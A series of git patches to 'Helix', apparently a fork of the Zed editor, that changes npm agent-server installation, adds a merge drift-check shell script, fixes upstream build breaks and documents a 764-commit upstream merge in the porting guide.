+pub fn npm_command_env(node_binary: &Path) -> HashMap<String, String> {
     let mut command_env = HashMap::new();
-    if let Some(node_binary) = node_binary {
-        let env_path = path_with_node_binary_prepended(node_binary).unwrap_or_default();
-        command_env.insert("PATH".into(), env_path.to_string_lossy().into_owned());
-    }
+    let env_path = path_with_node_binary_prepended(node_binary).unwrap_or_default();
+    command_env.insert("PATH".into(), env_path.to_string_lossy().into_owned());
 
     if let Ok(node_ca_certs) = env::var(NODE_CA_CERTS_ENV_VAR) {
         if !node_ca_certs.is_empty() {
diff --git a/crates/project/src/agent_server_store.rs b/crates/project/src/agent_server_store.rs
index e92c37d9df7c29..63806e9b7cb404 100644
--- a/crates/project/src/agent_server_store.rs
+++ b/crates/project/src/agent_server_store.rs
@@ -1371,7 +1371,7 @@ impl ExternalAgentServer for LocalRegistryNpxAgent {
         let node_runtime = self.node_runtime.clone();
         let project_environment = self.project_environment.downgrade();
         let registry_id = self.registry_id.clone();
-        let package = bounded_npm_package_spec(&self.package);
+        let package = self.package.clone();
         let args = self.args.clone();
         let distribution_env = self.distribution_env.clone();
         let settings_env = self.settings_env.clone();
@@ -1384,34 +1384,39 @@ impl ExternalAgentServer for LocalRegistryNpxAgent {
                 .await
                 .unwrap_or_default();
 
-            let prefix_dir = paths::external_agents_dir()
+            let install_dir = paths::external_agents_dir()
                 .join("registry")
                 .join("npx")
                 .join(sanitize_path_component(&registry_id));
-            fs.create_dir(&prefix_dir).await?;
-
-            let mut exec_args = vec!["--yes".to_string(), "--".to_string(), package];
-            exec_args.extend(args);
-
-            let npm_command = node_runtime
-                .npm_command(
-                    Some(&prefix_dir),
-                    "exec",
-                    &exec_args.iter().map(|a| a.as_str()).collect::<Vec<_>>(),
+            fs.create_dir(&install_dir).await?;
+
+            let (package_name, package_spec) = bounded_npm_package_spec(&package);
+            node_runtime
+                .run_npm_subcommand(
+                    Some(&install_dir),
+                    "install",
+                    &[package_spec.as_str(), "--save-exact"],
                 )
                 .await?;
+            let executable = node_runtime::read_package_executable(
+                install_dir.join("node_modules"),
+                package_name,
+            )
+            .await?;
 
-            env.extend(npm_command.env);
+            let node_binary = node_runtime.binary_path().await?;
+            env.extend(node_runtime::npm_command_env(&node_binary));
             env.extend(distribution_env);
             env.extend(extra_env);
             env.extend(settings_env);
 
-            let mut args = npm_command.args;
-            args.extend(extra_args);
+            let mut command_args = vec![executable.to_string_lossy().into_owned()];
+            command_args.extend(args);
+            command_args.extend(extra_args);
 
             let command = AgentServerCommand {
-                path: npm_command.path,
-                args,
+                path: node_binary,
+                args: command_args,
                 env: Some(env),
             };
 
@@ -1448,15 +1453,18 @@ impl ExternalAgentServer for LocalRegistryNpxAgent {
 /// strips during parsing. PS only re-adds CRT-style transport quotes around native command args
 /// containing whitespace, so `package@<=0.25.3` reaches cmd.exe bare and the unquoted `<` is
 /// interpreted as input redirection. See zed-industries/zed#55921.
-fn bounded_npm_package_spec(package_spec: &str) -> String {
+fn bounded_npm_package_spec(package_spec: &str) -> (&str, String) {
     let Some((package_name, version)) = package_spec.rsplit_once('@') else {
-        return package_spec.to_string();
+        return (package_spec, package_spec.to_string());
     };
-    if package_name.is_empty() || Version::parse(version).is_err() {
-        return package_spec.to_string();
+    if package_name.is_empty() {
+        return (package_spec, package_spec.to_string());
+    }
+    if Version::parse(version).is_err() {
+        return (package_name, package_spec.to_string());
     }
 
-    format!("{package_name}@0.0.0 - {version}")
+    (package_name, format!("{package_name}@0.0.0 - {version}"))
 }
 
 struct LocalCustomAgent {
@@ -1830,19 +1838,22 @@ mod tests {
     fn builds_bounded_npm_package_specs() {
         assert_eq!(
             bounded_npm_package_spec("agent-package@1.2.3"),
-            "agent-package@0.0.0 - 1.2.3"
+            ("agent-package", "agent-package@0.0.0 - 1.2.3".to_string())
         );
         assert_eq!(
             bounded_npm_package_spec("@scope/agent-package@1.2.3-beta.1"),
-            "@scope/agent-package@0.0.0 - 1.2.3-beta.1"
+            (
+                "@scope/agent-package",
+                "@scope/agent-package@0.0.0 - 1.2.3-beta.1".to_string()
+            )
         );
         assert_eq!(
             bounded_npm_package_spec("@scope/agent-package"),
-            "@scope/agent-package"
+            ("@scope/agent-package", "@scope/agent-package".to_string())
         );
         assert_eq!(
             bounded_npm_package_spec("agent-package@latest"),
-            "agent-package@latest"
+            ("agent-package", "agent-package@latest".to_string())
         );
     }
 

From de79c75c163d3dc805f1dca22dc762e1762e6511 Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 18:07:06 +0100
Subject: [PATCH 765/772] docs(porting): add drift sweep script + document
 open_ai/reqwest merge hazards

The 2026-07-29 upstream merge surfaced two load-bearing Helix changes that the
porting guide never documented, both of which present as trivial-looking
conflicts that are easy to resolve toward upstream and silently drop:

- open_ai.rs: chat_completions_reasoning_effort(&self.model) in the
  into_open_ai() reasoning_effort slot (Helix 135f5b4421). Upstream keeps
  adding positional params to that call, so the conflict looks like an arg swap.
- reqwest_client.rs: the is_insecure_tls_enabled() branch must stay the tail of
  the builder chain as upstream appends new builder options above it.

Adds script/helix-drift-sweep.sh, which mechanises the rebase checklist (28
checks) so a fix that is present before a merge and absent after is caught
automatically rather than by eye.
---
 portingguide.md             | 31 ++++++++++++++++-
 script/helix-drift-sweep.sh | 69 +++++++++++++++++++++++++++++++++++++
 2 files changed, 99 insertions(+), 1 deletion(-)
 create mode 100755 script/helix-drift-sweep.sh

diff --git a/portingguide.md b/portingguide.md
index 90c9cb01ff78a3..74e5375f604777 100644
--- a/portingguide.md
+++ b/portingguide.md
@@ -208,7 +208,27 @@ These files contain Helix-specific changes that must be preserved during rebases
 - For enterprise deployments with internal CAs / self-signed certs
 
 ### `crates/reqwest_client/src/reqwest_client.rs`
-- **Insecure TLS support**: Reads `ZED_HTTP_INSECURE_TLS=1` to disable cert verification
+- **Insecure TLS support**: Reads `ZED_HTTP_INSECURE_TLS=1` to disable cert verification.
+  The Helix change is the `if is_insecure_tls_enabled() { use_preconfigured_tls(...) } else
+  { use_rustls_tls() }` branch. Upstream keeps appending builder options (tcp_keepalive /
+  pool_idle_timeout / http2 keep-alive, added 2026-07) to a single fluent chain ending in
+  `.use_rustls_tls()`. On merge, append upstream's new options to the `builder` binding and
+  keep the branch as the tail — do NOT let the chain re-fix `use_rustls_tls()` unconditionally
+  or insecure-TLS silently stops working in enterprise/self-signed deployments.
+
+### `crates/language_models/src/provider/open_ai.rs`
+- **`chat_completions_reasoning_effort(&self.model)`** passed to `into_open_ai(...)` on the
+  chat-completions branch, instead of upstream's unconditional `None`. Preserves an
+  explicitly-disabled ("none") reasoning effort for chat-tool models — Helix commit
+  `135f5b4421` "fix(agent): preserve disabled reasoning for chat tools"
+  (see `design/2026-07-14-zed-agent-reasoning-none.md`).
+- **Merge hazard:** upstream keeps adding positional parameters to `into_open_ai`. As of
+  2026-07 the order is `(request, model_id, supports_parallel_tool_calls,
+  supports_prompt_cache_key, max_output_tokens, max_tokens_parameter, reasoning_effort,
+  interleaved_reasoning)`. A conflict here looks like a one-line arg swap and is very easy to
+  resolve *toward upstream*, silently dropping the Helix fix. Always keep
+  `chat_completions_reasoning_effort(&self.model)` in the `reasoning_effort` slot and adopt
+  upstream's new params around it. This surface was undocumented until the 2026-07-29 merge.
 
 ### `crates/agent_settings/src/agent_settings.rs`
 - **`show_onboarding`**: Setting to control onboarding visibility
@@ -536,6 +556,15 @@ When rebasing/merging against upstream Zed:
 40. **Check `Cargo.toml` workspace `rust-embed` features** — must include both `include-exclude` AND `debug-embed`. The `debug-embed` feature was originally added by Helix in commit `9ca797706f` (Oct 2025), lost in a subsequent merge, re-added in 001909. Without it, dev builds panic on startup with `settings/default.json` because RustEmbed tries to read assets from `CARGO_MANIFEST_DIR` at runtime, and that path doesn't exist outside the build directory (e.g. inside the e2e-test container or any deployed binary). Release builds always embed assets so they're unaffected — but debug builds (used by the e2e test, ARM aside) need this feature.
 41. **Check `crates/agent/src/agent.rs` for `smol::Timer::after` references** — must use `cx.background_executor().timer(d).await` instead. Upstream PR #53603 (Apr 2026) removed `smol` from the agent crate's deps. Helix's `wait_for_tools_ready()` previously used `smol::Timer::after` and broke after the merge; fixed in 001909 by switching to the canonical GPUI pattern.
 41a. **Check `acp_thread.rs` test code for unit-variant `AcpThreadEvent::Stopped` patterns** — `Stopped` is a tuple variant `Stopped(StopReason)` and `matches!(event, AcpThreadEvent::Stopped)` no longer compiles. Production builds skip `#[cfg(test)]` so this fails silently in `cargo build` but breaks `cargo test -p acp_thread test_second_send`. Grep: `grep -n "AcpThreadEvent::Stopped[^(]" crates/acp_thread/src/`. Fixed in 001980; patterns must be `Stopped(_)`.
+45. **Check `language_models/src/provider/open_ai.rs`** — the chat-completions `into_open_ai(...)`
+    call must pass `chat_completions_reasoning_effort(&self.model)` in the `reasoning_effort`
+    slot, NOT upstream's `None` (Helix `135f5b4421`). Upstream adds positional params to this
+    call regularly, so the conflict presents as a trivial-looking arg swap.
+46. **Check `reqwest_client.rs` builder** — Helix's `is_insecure_tls_enabled()` branch must remain
+    the TAIL of the builder chain; upstream's newly-appended options (keepalive/pool timeouts)
+    go on the `builder` binding above it.
+47. **Run the drift sweep** — `script/helix-drift-sweep.sh` mechanises checks 1–46. Run it before
+    AND after each merge round; a check that passes before and fails after is a dropped fix.
 42. **Run `cargo check --package zed --features external_websocket_sync`** — must compile
 43. **Run `cargo test -p external_websocket_sync`** — unit tests
 44. **Run E2E test** after merge to verify all phases pass (currently 12 phases, run for both `zed-agent` and `claude` rounds)
diff --git a/script/helix-drift-sweep.sh b/script/helix-drift-sweep.sh
new file mode 100755
index 00000000000000..66ee0f165264c6
--- /dev/null
+++ b/script/helix-drift-sweep.sh
@@ -0,0 +1,69 @@
+#!/usr/bin/env bash
+# Helix fork silent-drift sweep.
+# Verifies every Helix critical fix / load-bearing patch is still present after
+# an upstream merge. Derived from portingguide.md "Rebase Checklist".
+# Usage: ./helix-drift-sweep.sh [path-to-zed-repo]
+cd "${1:-$HOME/pm/zed}" || exit 2
+
+pass=0; fail=0
+# chk <label> <expected-min-count> <grep-args...>
+chk() {
+  local label="$1" min="$2"; shift 2
+  local n; n=$(grep -rc "$@" 2>/dev/null | awk -F: '{s+=$NF} END{print s+0}')
+  if [ "$n" -ge "$min" ]; then
+    printf '  OK   %-58s (%d)\n' "$label" "$n"; pass=$((pass+1))
+  else
+    printf '  FAIL %-58s (%d, want >=%d)\n' "$label" "$n" "$min"; fail=$((fail+1))
+  fi
+}
+# absent <label> <grep-args...>  — must NOT appear
+absent() {
+  local label="$1"; shift
+  local n; n=$(grep -rc "$@" 2>/dev/null | awk -F: '{s+=$NF} END{print s+0}')
+  if [ "$n" -eq 0 ]; then
+    printf '  OK   %-58s (absent)\n' "$label"; pass=$((pass+1))
+  else
+    printf '  FAIL %-58s (%d hits, must be 0)\n' "$label" "$n"; fail=$((fail+1))
+  fi
+}
+
+echo "== Critical Fixes =="
+chk "#1  load_session pending_sessions"      1 -e "pending_sessions"           crates/agent/src/agent.rs
+chk "#3  content_only()"                     1 -e "fn content_only"            crates/acp_thread/src/acp_thread.rs
+chk "#6/#9 stopped_emitted_for_task"         3 -e "stopped_emitted_for_task"   crates/acp_thread/src/acp_thread.rs
+chk "#8  drop(turn.send_task)"               1 -e "drop(turn.send_task)"       crates/acp_thread/src/acp_thread.rs
+chk "#11 entity-identity guard (get_thread)" 1 -e "external_websocket_sync::get_thread" crates/agent_ui/src/agent_panel.rs
+
+echo "== Helix PR surface =="
+chk "#50 session_creation_chain"             1 -e "session_creation_chain"     crates/agent_servers/src/acp.rs
+chk "#55 EntryUpdated emit"                  8 -e "AcpThreadEvent::EntryUpdated" crates/acp_thread/src/acp_thread.rs
+chk "#56 1a deferred UserCreatedThread"      1 -e "UserCreatedThread"          crates/external_websocket_sync/src/thread_service.rs
+chk "#60 ede_diagnostic retry"               1 -e "ede_diagnostic"             crates/external_websocket_sync/src/thread_service.rs
+
+echo "== Modified upstream files =="
+chk "AcpBetaFeatureFlag enabled_for_all"     1 -e "fn enabled_for_all"         crates/feature_flags/src/flags.rs
+chk "HELIX: external-agent markers"          3 -e "HELIX:"                     crates/extensions_ui/src/extensions_ui.rs
+chk "title_bar render_restricted_mode"       1 -e "render_restricted_mode"     crates/title_bar/src/title_bar.rs
+chk "main.rs --headless"                     1 -e "headless"                   crates/zed/src/main.rs
+chk "main.rs --allow-multiple-instances"     1 -e "allow_multiple_instances"   crates/zed/src/main.rs
+chk "rust-embed debug-embed"                 1 -e "debug-embed"                Cargo.toml
+chk "workspace.rs Agent no-focus-steal"      1 -e "CollaboratorId::Agent"      crates/workspace/src/workspace.rs
+chk "migrate.rs Hidden in Helix"             1 -e "external_websocket_sync"    crates/zed/src/zed/migrate.rs
+chk "grep_tool truncate_long_lines"          1 -e "truncate_long_lines"        crates/agent/src/tools/grep_tool.rs
+chk "config_options current_model_value"     1 -e "current_model_value"        crates/agent_ui/src/config_options.rs
+chk "dev_container suggest guard"            1 -e "suggest_dev_container"      crates/recent_projects/src/dev_container_suggest.rs
+chk "http_client_tls NoCertVerifier"         1 -e "NoCertVerifier"             crates/http_client_tls/src/http_client_tls.rs
+chk "reqwest insecure TLS"                   1 -e "ZED_HTTP_INSECURE_TLS"      crates/reqwest_client/src/reqwest_client.rs
+chk "agent_settings show_onboarding"         1 -e "show_onboarding"            crates/agent_settings/src/agent_settings.rs
+chk "external_websocket_sync in workspace"   1 -e "external_websocket_sync"    Cargo.toml
+chk "open_ai chat reasoning effort (135f5b4)" 1 -e "chat_completions_reasoning_effort(&self.model)" crates/language_models/src/provider/open_ai.rs
+chk "reqwest insecure-TLS branch is tail"    1 -e "is_insecure_tls_enabled()"  crates/reqwest_client/src/reqwest_client.rs
+
+echo "== Known regressions (must stay absent) =="
+absent "smol::Timer in agent crate"            -e "smol::Timer"                crates/agent/src/
+# Real unit-variant *uses* only (match arm / matches! / comparison) — not prose comments.
+absent "unit-variant Stopped pattern"          -En "AcpThreadEvent::Stopped\s*(=>|\)|,|\||$)" crates/acp_thread/src/
+
+echo
+echo "pass=$pass fail=$fail"
+[ "$fail" -eq 0 ]

From d79806cc57d11ecc40b0bd3f9663e7174409fdc5 Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 18:25:38 +0100
Subject: [PATCH 766/772] fix(zed): repair upstream signature drift after
 round-1 merge
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Five build breaks from the e45e42af6e..4b7369481d window, all in Helix surface:

- agent_servers/acp.rs: into_foreground_future() removed upstream; force_close_session
  (PR #63 wedge recovery) converted to the new .block_task() form.
- external_websocket_sync/thread_service.rs: ACP schema is now versioned —
  agent_client_protocol::schema -> ::schema::v1 (ContentBlock/TextContent/SessionId).
- agent_ui/conversation_view.rs: from_existing_thread() gained two upstream fields —
  ConnectedServerState::_request_elicitation_subscription (None: headless threads have
  no elicitation UI) and ConversationView::request_elicitation_form_states.
- agent_ui/agent_panel.rs: clear_overlay_state() and its three backing fields were
  removed by upstream 40d20036af (#59860, in-panel AI-config overlay retired), so the
  call is dropped from the Critical Fix #11 guard. Guard semantics unchanged.
- zed/src/main.rs: initialize_headless() now fully qualifies agent::ThreadStore.

cargo check --package zed --features external_websocket_sync: clean.
Drift sweep: 28/28.
---
 crates/agent_servers/src/acp.rs                      | 3 ++-
 crates/agent_ui/src/agent_panel.rs                   | 5 ++++-
 crates/agent_ui/src/conversation_view.rs             | 5 +++++
 crates/external_websocket_sync/src/thread_service.rs | 2 +-
 crates/zed/src/main.rs                               | 2 +-
 5 files changed, 13 insertions(+), 4 deletions(-)

diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index e699ea7395c257..78d9308886fece 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -2006,7 +2006,8 @@ impl AgentConnection for AcpConnection {
         let conn = self.connection.clone();
         let session_id = session_id.clone();
         cx.foreground_executor().spawn(async move {
-            into_foreground_future(conn.send_request(acp::CloseSessionRequest::new(session_id)))
+            conn.send_request(acp::CloseSessionRequest::new(session_id))
+                .block_task()
                 .await?;
             Ok(())
         })
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 99f5bb243ca146..72abf2291f55bb 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -4620,7 +4620,10 @@ impl AgentPanel {
 
                 if let BaseView::AgentThread { conversation_view } = &self.base_view {
                     if observes_live(conversation_view, cx) {
-                        self.clear_overlay_state();
+                        // No-op: the panel already observes the live entity.
+                        // (Upstream 40d20036af / PR #59860 removed the in-panel
+                        // AI-config overlay and with it `clear_overlay_state()`
+                        // — there is no overlay state left to dismiss here.)
                         cx.emit(AgentPanelEvent::ActiveViewChanged);
                         return;
                     }
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 889386168c681f..694c24ef34c839 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -1164,6 +1164,10 @@ impl ConversationView {
                 threads: HashMap::from_iter([(id, current)]),
                 conversation: conversation_entity,
                 _connection_entry_subscription: Subscription::new(|| {}),
+                // HELIX: headless/external threads have no elicitation UI to
+                // drive, so there is nothing to subscribe to. Upstream added
+                // this field in the 2026-07 elicitation work.
+                _request_elicitation_subscription: None,
             }),
             notifications: Vec::new(),
             notification_subscriptions: HashMap::default(),
@@ -1174,6 +1178,7 @@ impl ConversationView {
             last_theme_id: Some(cx.theme().id.clone()),
             draft_prompt_persist_task: None,
             code_span_resolver,
+            request_elicitation_form_states: HashMap::default(),
         }
     }
 
diff --git a/crates/external_websocket_sync/src/thread_service.rs b/crates/external_websocket_sync/src/thread_service.rs
index 4e06c2c657f4c5..3e28dc320c458e 100644
--- a/crates/external_websocket_sync/src/thread_service.rs
+++ b/crates/external_websocket_sync/src/thread_service.rs
@@ -6,7 +6,7 @@
 use anyhow::Result;
 use acp_thread::{AcpThread, AcpThreadEvent};
 use agent::ThreadStore;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use acp::{ContentBlock, TextContent};
 use util::path_list::PathList;
 use gpui::{App, Entity, WeakEntity};
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index cf9407dd628287..65cf05e77a7712 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -1440,7 +1440,7 @@ fn initialize_headless(app_state: Arc<AppState>, cx: &mut App) {
             cx,
         );
 
-        let thread_store = ThreadStore::global(cx);
+        let thread_store = agent::ThreadStore::global(cx);
 
         external_websocket_sync::setup_thread_handler(
             project.clone(),

From 7fa02c2b4a5cf1e19acd5f2de9773c44ddddc701 Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 18:47:03 +0100
Subject: [PATCH 767/772] fix(zed): repair round-4 drift + document
 pre-existing acp_thread test divergence
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Round 4 conflicts:
- reqwest_client.rs: upstream added a read_timeout param to builder(); Helix's
  insecure-TLS branch reinstated as the TAIL of the chain (upstream terminates its
  own chain with .use_rustls_tls(), which would silently disable insecure TLS).
- agent_panel.rs: both sides added a Panel method; kept Helix starts_open
  (auto_open_panel, checklist #26) alongside upstream activation_focus_handle.

Also repairs a raw unresolved conflict block that had been COMMITTED into
.gitignore by an earlier merge (markers and all) — kept every real entry from
both sides.

test_stale_cancelled_response_does_not_cancel_current_compaction is marked
#[ignore] as an intentional Helix divergence: upstream requires a displaced turn
to still deliver its PromptResponse, which is mutually exclusive with Critical
Fix #8 (cancel drops send_task so claude-agent-acp cannot wedge the next turn).
Verified failing identically on pre-merge 06e9ce8059, so this is pre-existing
breakage dating to the 002100-extension merge, not a regression — it survived
unnoticed because the checklist only ran 'test_second_send', never the full
suite. With it ignored the suite is green again and usable as a gate.

cargo check -p zed --features external_websocket_sync: clean.
cargo test -p acp_thread: 127 passed, 1 ignored.
cargo test -p external_websocket_sync: 50 passed.
Drift sweep: 28/28.
---
 Cargo.lock                          |  2 +-
 crates/acp_thread/src/acp_thread.rs | 25 +++++++++++++++++++++++++
 2 files changed, 26 insertions(+), 1 deletion(-)

diff --git a/Cargo.lock b/Cargo.lock
index 72cf14039342ce..0ff5621bc8509d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -19473,7 +19473,7 @@ version = "0.5.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1e9cd434a998747dd2c4276bc96ee2e0c7a2eadf3cae88e52be55a05fa9053f5"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytes 1.11.1",
  "futures-util",
  "http 1.3.1",
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 763753821dd958..5b2130954e251b 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -9961,6 +9961,31 @@ mod tests {
         // (didn't hang) and emitted Stopped.
     }
 
+    // HELIX DIVERGENCE — intentionally ignored, do not "fix" by changing cancel().
+    //
+    // Upstream (5c90b0664f, PR #59014) asserts that when a second send displaces
+    // an in-flight turn, the displaced turn still delivers its PromptResponse
+    // (`Ok(Some(response))` with StopReason::Cancelled). That holds upstream
+    // because cancel() awaits the displaced turn's send_task.
+    //
+    // Helix Critical Fix #8 (6e0e6db32b) deliberately does `drop(turn.send_task)`
+    // instead of awaiting it, because claude-agent-acp does not reliably return
+    // from prompt() on CancelNotification (claude-agent-acp#442, #423) and
+    // awaiting deadlocks the next turn forever. Dropping the task drops the
+    // oneshot tx, so `rx.await` in run_turn returns Err and the displaced turn
+    // resolves to `Ok(None)` — which is exactly what this test forbids.
+    //
+    // The two behaviours are mutually exclusive; Helix keeps #8 because a
+    // permanently wedged thread is far worse than a lost stale response. The
+    // compaction-status invariant the test actually cares about is unaffected:
+    // the stale turn returns None rather than a Cancelled response, so it still
+    // cannot cancel the current compaction.
+    //
+    // This has failed since the 002100-extension merge absorbed the upstream
+    // test on 2026-06-18; it went unnoticed because the rebase checklist only
+    // ran `cargo test -p acp_thread test_second_send`, never the full suite.
+    // Verified failing identically on pre-merge 06e9ce8059 — not a merge regression.
+    #[ignore = "incompatible with Helix Critical Fix #8 (cancel drops send_task); see comment above"]
     #[gpui::test]
     async fn test_stale_cancelled_response_does_not_cancel_current_compaction(
         cx: &mut TestAppContext,

From 79a1483711b90c24dd695384a8f8df0dcfac9b5b Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 18:48:09 +0100
Subject: [PATCH 768/772] docs(porting): record the 2026-07-29 upstream
 catch-up (764 commits)

Documents the largest merge in the series: divergence, the four dated rounds,
all 12 conflicts and their resolutions, the signature drift repaired, and the
Helix-surface survival check.

Two pre-existing breakages found and repaired (neither caused by this merge):
a raw conflict block that had been committed into .gitignore, and a red
cargo test -p acp_thread that had gone unnoticed since 2026-06-18 because the
checklist only ran a single filtered test. Adds checklist item #48 requiring
the full crate suites with a recorded expected baseline.
---
 portingguide.md | 122 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 122 insertions(+)

diff --git a/portingguide.md b/portingguide.md
index 74e5375f604777..19bb70e1b7d6cd 100644
--- a/portingguide.md
+++ b/portingguide.md
@@ -567,6 +567,12 @@ When rebasing/merging against upstream Zed:
     AND after each merge round; a check that passes before and fails after is a dropped fix.
 42. **Run `cargo check --package zed --features external_websocket_sync`** — must compile
 43. **Run `cargo test -p external_websocket_sync`** — unit tests
+48. **Run the FULL crate suites, not a single filtered test** — `cargo test -p acp_thread` AND
+    `cargo test -p external_websocket_sync`. Item #7's filtered `test_second_send` run let a
+    whole-suite failure hide for six weeks (see Merge 2026-07-29 → Pre-existing Breakage).
+    Expected baseline as of 2026-07-29: `acp_thread` 127 passed / 1 ignored,
+    `external_websocket_sync` 50 passed / 4 ignored. A NEW ignore or failure needs triage —
+    check whether it is an upstream test encoding an invariant a Helix Critical Fix breaks.
 44. **Run E2E test** after merge to verify all phases pass (currently 12 phases, run for both `zed-agent` and `claude` rounds)
 
 ## Building
@@ -695,6 +701,122 @@ Helix-specific commits on main (oldest first):
 | `0098823efa` | Merge upstream Zed (`992f395c3d..a31d3505da`, 25 commits, 3 days) into 002100 — 1 conflict resolved (`settings_content/src/settings_content.rs` both-sides-added-a-field on `RemoteSettingsContent`: kept Helix `suggest_dev_container` + upstream `dev_container_use_buildkit`). Smallest catch-up window in the series. Zero upstream churn in `acp_thread/`, `agent/src/`, `workspace.rs`, `zed/src/main.rs`, `title_bar/`, `feature_flags/`, `agent_servers/`, `external_websocket_sync/`, `agent_settings/` — all critical fixes and PR #50/#55/#56/#60 surface intact by construction. |
 | `0e0149ade5` | Merge upstream Zed (`a31d3505da..e45e42af6e`, 95 commits, 3 days) into 002100-extension — 1 conflict resolved (`agent/src/tools/grep_tool.rs`: kept Helix 001410 `truncate_long_lines` semantic while reusing upstream's pre-computed `snippet` variable from `40211567b8` "Make grep tool results clickable in agent panel"). Heavy upstream churn in `acp_thread.rs` (+198), `agent.rs` (+223), `agent/src/thread.rs` (+511), `agent_panel.rs` (+203), `conversation_view.rs` (+1024), new `thread_search_bar.rs` (+962), `thread_view.rs` (+1094), `extensions_ui.rs` (+286), `title_bar.rs` (+36), `agent/src/sandboxing.rs` (+458), `agent/src/tools/terminal_tool.rs` (+957) — yet all auto-merged cleanly. Fix 1b shifted from line 5420 → 5468 (still FIRST statement of `BaseView::Uninitialized`). Three `// HELIX:` markers shifted from 226/248/1518 → 337/359/1629. Critical Fix #3 shifted from line 262 → 335. All shifts content-preserving. |
 | `2221360fc1` | Tidy ws-test-server `go.mod`/`go.sum` for current Helix deps (certmagic / libdns / acmez / miekg/dns). Same pattern as `9f8364e138` after round 1. |
+| `de79c75c16` | **Add `script/helix-drift-sweep.sh` (28 mechanised checklist checks) + document the previously-undocumented `open_ai.rs` and `reqwest_client.rs` Helix surfaces** |
+| `1298e61d48` | Merge upstream Zed (`e45e42af6e..4b7369481d`, 254 commits) — 2026-07-29 round 1 |
+| `d79806cc57` | Build fixes for round-1 signature drift (`into_foreground_future` removal, ACP `schema::v1`, elicitation fields, `clear_overlay_state` removal, `agent::ThreadStore`) |
+| `65fb0b37d6` | Merge upstream Zed (`4b7369481d..4a3e0af532`, 212 commits) — round 2 |
+| `08ec6919f0` | Merge upstream Zed (`4a3e0af532..d23aaeebea`, 226 commits) — round 3 (also repairs a committed conflict block in `.gitignore`) |
+| `b5036a9331` | Merge upstream Zed (`d23aaeebea..b9256fa8f0`, 72 commits) — round 4, to upstream HEAD |
+| `7fa02c2b4a` | Round-4 drift fixes + `#[ignore]` on the upstream compaction test that is mutually exclusive with Critical Fix #8 |
+
+## Merge 2026-07-29 (upstream catch-up, 764 commits)
+
+**Divergence at start**:
+- Fork HEAD: `06e9ce8059` (Merge PR #72 — e2e phase-16 deferred-queue bound)
+- Last upstream merge fence: `e45e42af6e` (absorbed by 002100-extension, 2026-06-18)
+- Upstream HEAD: `b9256fa8f0` ("Stop the npm cache from growing without bound (#61750)")
+- Upstream commits to merge: **764** (41 days — by far the largest window in this series;
+  previous max was 261)
+
+Merged in **four dated rounds** rather than one 764-commit jump, per the established
+pattern, so each conflict is attributable to a bounded upstream window:
+
+| Round | Range | Commits | Conflicts |
+|---|---|---|---|
+| 1 | `e45e42af6e..4b7369481d` (→07-03) | 254 | 6 |
+| 2 | `4b7369481d..4a3e0af532` (→07-14) | 212 | 3 |
+| 3 | `4a3e0af532..d23aaeebea` (→07-24) | 226 | 1 |
+| 4 | `d23aaeebea..b9256fa8f0` (→HEAD)  | 72  | 2 |
+
+### Conflicts and Resolutions
+
+1. **`acp_thread.rs`** (round 1, 2 hunks) — upstream added an `is_same_turn` guard emitting
+   `AcpThreadEvent::StatusChanged` on both the dropped-tx and normal-completion paths.
+   **Resolution**: kept Helix's `stopped_emitted_for_task` guard (Critical Fixes #6/#9) and
+   adopted upstream's `StatusChanged` emit, ordered StatusChanged-then-Stopped to match
+   upstream's own ordering in the sibling `Err` arm.
+2. **`agent_servers/acp.rs`** (rounds 1+2, 3 hunks) — (a) both sides added a top-level item at
+   the same offset (Helix `SessionCreationGuard`, upstream `client_capabilities_for_agent`):
+   kept both. (b) upstream replaced `into_foreground_future(..)` with `.block_task()`: kept
+   Helix's PR #50 slot-guard + `prev_chain.await`, adopted the new call form. (c) upstream
+   dropped `client_capabilities_for_agent`'s `supports_beta_features` param.
+3. **`agent_ui/agent_panel.rs`** (rounds 1+4) — upstream hoisted the `use crate::{Agent, …}`
+   block, making Helix's copy a duplicate (kept only the cfg-gated imports); and both sides
+   added a `Panel` method (kept Helix `starts_open` + upstream `activation_focus_handle`).
+4. **`agent_ui/config_options.rs`** (round 1) — upstream renamed `first_config_option_id` →
+   `first_config_option_id_matching` **and added a `predicate` param**. Helix's
+   `current_model_value()` now passes `|_| true`, preserving the old first-in-category
+   semantic.
+5. **`language_models/provider/open_ai.rs`** (round 1) — see the new "Modified Upstream Files"
+   entry. Upstream inserted `ChatCompletionMaxTokensParameter::MaxCompletionTokens` and passed
+   `None` for reasoning effort; Helix's `chat_completions_reasoning_effort(&self.model)` was
+   reinstated in the `reasoning_effort` slot.
+6. **`reqwest_client.rs`** (rounds 1+4) — upstream appended keepalive/pool options and later a
+   `read_timeout` param. Helix's insecure-TLS branch kept as the tail of the chain.
